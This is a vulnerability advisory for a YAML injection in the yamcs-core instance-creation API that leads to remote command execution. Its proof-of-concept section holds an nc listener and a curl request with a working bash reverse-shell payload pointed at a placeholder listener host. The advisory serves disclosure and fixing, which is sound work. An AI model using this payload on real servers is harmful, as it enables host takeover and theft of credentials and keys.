CVE-2026-55559 — Vulnerability in org.yamcs:yamcs-core — CVE Details

### Summary `templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren't escaped for YAML or validated server-side. Needs the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path. ### Details `VarStatement` appends arg values with no escaping: ```java // yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29 buf.append(value); ``` The only filter, `EscapeFilter`, does HTML escaping (`& < > ' "`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn't help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form. Request to exec: `InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`) → `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`) → rendered config loaded as `YConfiguration` → `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`) → `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`). `createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in. A fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context. ### PoC Run the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: "..."`. Listener: ``` nc -lvnp 4444 ``` Request (set `<LHOST>` / `<LPORT>` to the listener): ```bash curl -i -X POST http://<target>:8090/api/instances \ -H 'Content-Type: application/json' \ -d '{ "name": "pwned", "template": "example", "templateArgs": { "spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#", "bar": "Option 2" } }' ``` Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: "..."` quote, adds a top-level `services:` (which overrides the template's `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `"`. With `security.yaml` it's the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege 'ChangeMissionDatabase'`) on the algorithm-override path but 200 here. ### Impact Command execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box. It needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without `security.yaml`, this is host takeover from the API.